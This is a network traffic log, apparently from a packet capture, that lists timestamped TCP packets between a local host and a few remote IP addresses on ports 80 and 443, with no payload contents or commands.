Nov 18, 2024 15:17:07.104705095 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105084896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105097055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105108976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105160952 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105160952 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105308056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105319977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105329990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105341911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105351925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105365038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105377913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105381012 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105387926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105401039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105415106 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105415106 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105417013 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105418921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105426073 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105429888 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105437040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105443954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105457067 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105468035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105479002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105490923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105503082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105514050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105525970 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105535984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105535984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105535984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105535984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105537891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105581999 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105593920 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.105918884 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105931044 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105942965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105968952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.105982065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106002092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106002092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106039047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106059074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106137037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106260061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106283903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106290102 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106292009 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106295109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106307030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106317997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106333017 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106334925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106345892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106345892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106357098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106370926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106380939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106389046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106389046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106391907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106404066 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106415033 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106426954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106429100 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106437922 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106447935 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106447935 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106451035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106463909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106471062 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106473923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106487036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106496096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106615067 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106615067 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106780052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106792927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106841087 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106841087 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106859922 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106933117 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106945992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106956005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106966019 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106969118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106977940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.106980085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.106992006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.107002020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.107014894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.107024908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.107024908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.107028961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.107040882 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.107070923 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.107070923 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.107103109 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.111747980 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.111771107 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.111869097 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.111917019 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.111929893 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.111999989 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.119556904 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.119587898 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.119641066 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.119654894 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.119667053 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.119813919 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.121535063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.121556997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.121567965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.121593952 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.121620893 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.121679068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.121691942 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.121701956 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.121750116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.121750116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122052908 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122066021 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122072935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122080088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122087002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122153044 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122164011 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122168064 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122199059 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122224092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122258902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122271061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122282982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122294903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122307062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122311115 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122318983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122353077 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122383118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122394085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122406006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.122420073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122420073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.122488022 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.129992962 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.130024910 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.130070925 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.130120993 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.130120993 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.130134106 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.130160093 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.130244017 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.145567894 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.145608902 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:07.145682096 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.149709940 CET	49824	443	192.168.2.9	23.222.241.136
Nov 18, 2024 15:17:07.149724007 CET	443	49824	23.222.241.136	192.168.2.9
Nov 18, 2024 15:17:07.186218977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.186242104 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.186254025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.186289072 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.186347008 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447112083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447141886 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447153091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447165012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447184086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447206020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447218895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447232962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447240114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447240114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447244883 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447278023 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447293043 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447439909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447452068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447463989 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447474957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447485924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447498083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447510958 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447520018 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447520018 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447523117 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447614908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447659016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447671890 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447741032 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447741032 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447817087 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447828054 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447839022 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447850943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447861910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447874069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447875977 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447887897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447902918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447915077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447926044 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447937012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447948933 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.447984934 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447984934 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447984934 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.447984934 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448044062 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448178053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448189020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448261023 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448339939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448353052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448363066 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448375940 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448385954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448396921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448409081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448426962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448426962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448429108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448441029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448451996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448466063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448477983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448488951 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448501110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448510885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448523998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448528051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448528051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448528051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448528051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448535919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448546886 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448579073 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448582888 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448582888 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448584080 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448590994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448602915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448615074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448626995 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448627949 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448637962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448638916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.448679924 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.448679924 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449203968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449217081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449228048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449239016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449250937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449261904 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449273109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449284077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449297905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449307919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449317932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449326038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449326038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449326038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449331045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449348927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449358940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449359894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449418068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449419022 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449626923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449639082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449651003 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449664116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449676037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449687004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449690104 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449702978 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449703932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449709892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449714899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449722052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449727058 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449765921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449765921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449795008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449811935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449821949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449832916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449846029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449856043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449867010 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449877977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449882984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449882984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449882984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449888945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449899912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449913025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449924946 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449935913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449949026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449959993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449960947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449960947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449960947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449960947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.449971914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.449985027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450015068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450191975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450695992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450709105 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450717926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450728893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450741053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450752020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450764894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450766087 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450766087 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450783014 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450794935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450805902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450808048 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450818062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450829029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450834990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450834990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450839996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450851917 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450862885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450875044 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450881958 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450882912 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450886965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450898886 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450910091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450911045 CET	49750	80	192.168.2.9	185.215.113.206
